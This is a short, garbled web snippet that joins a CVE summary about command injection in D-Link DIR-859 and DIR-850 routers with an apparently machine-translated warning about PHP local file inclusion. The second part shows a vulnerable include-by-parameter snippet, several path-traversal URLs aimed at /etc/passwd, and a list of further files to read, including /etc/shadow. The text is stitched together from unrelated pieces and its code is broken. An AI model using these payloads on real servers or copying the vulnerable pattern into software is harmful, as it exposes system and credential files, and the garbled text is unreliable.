CVE-2019-17508: Improper Neutralization of Special Elements used in an OS Command

On D-Link DIR-859 A3-1.06 and DIR-850 A1.13 devices, /etc/services/DEVICE.TIME.php allows command injection via the $SERVER variable...

php forge local file inclusion vulnerability-vulnerability warning-the black bar safety net

Code: ? php $page=$GETpage; include$page.'php'; ?& gt; You can use http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.php?page=../../../etc/passwd http://www.xxx.com/index.php?page=..../../etc/passwd Get more data: etc/profile etc/services the /etc/passwd /etc/shadow the...